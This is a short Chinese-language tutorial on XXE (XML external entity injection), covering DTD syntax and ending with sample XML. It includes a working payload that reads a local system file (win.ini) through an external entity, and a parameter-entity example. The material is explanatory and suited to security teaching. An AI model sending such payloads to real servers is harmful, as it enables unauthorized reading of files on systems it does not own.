一、什么是XXE漏洞
XXE漏洞全称为XML External Entity,也就是xml外部实体注入,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。可造成文件读取、命令执行、内网端口扫描等等危害
二、什么是xml,DTD
DTD全称是The document type definition,即是文档类型定义,
可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
三、引用方法
DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
DTD 外部引用(可以读取本地文件)
<!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>
引用公共DTD(可以调用远程文件)
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
几个小dome
<?xml version="1.0"?>
<!DOCTYPE test[
<!ELEMENT test (one,two,three)>
<!ELEMENT one (#PCDATA)>
<!ELEMENT two (#PCDATA)>
<!ELEMENT three (#PCDATA)>
]>
<test>
<one>one</one>
<two>two</two>
<three>three</three>
</test>
调用内部声明
<?xml version="1.0"?>
<!DOCTYPE test[
<!ELEMENT test (flag)>
<!ENTITY hack "hack hack hack">
]>
<test>
<flag>&hack;</flag>
</test>
调用本地xml文件
<?xml version="1.0"?>
<!DOCTYPE test SYSTEM "test.dtd">
<test>
<one>one</one>
<two>two</two>
<three>three</three>
</test>
读取本地文件
<?xml version="1.0"?>
<!DOCTYPE test[
<!ELEMENT test (flag)>
<!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
]>
<test>
<flag>&hacker;</flag>
</test>
另一种调用方法
<?xml version="1.0"?>
<!DOCTYPE test[
<!ELEMENT test (flag)>
<!ENTITY % one "<!ENTITY two '66666'>">
%one;
]>
<test>
<flag>&two;</flag>
</test>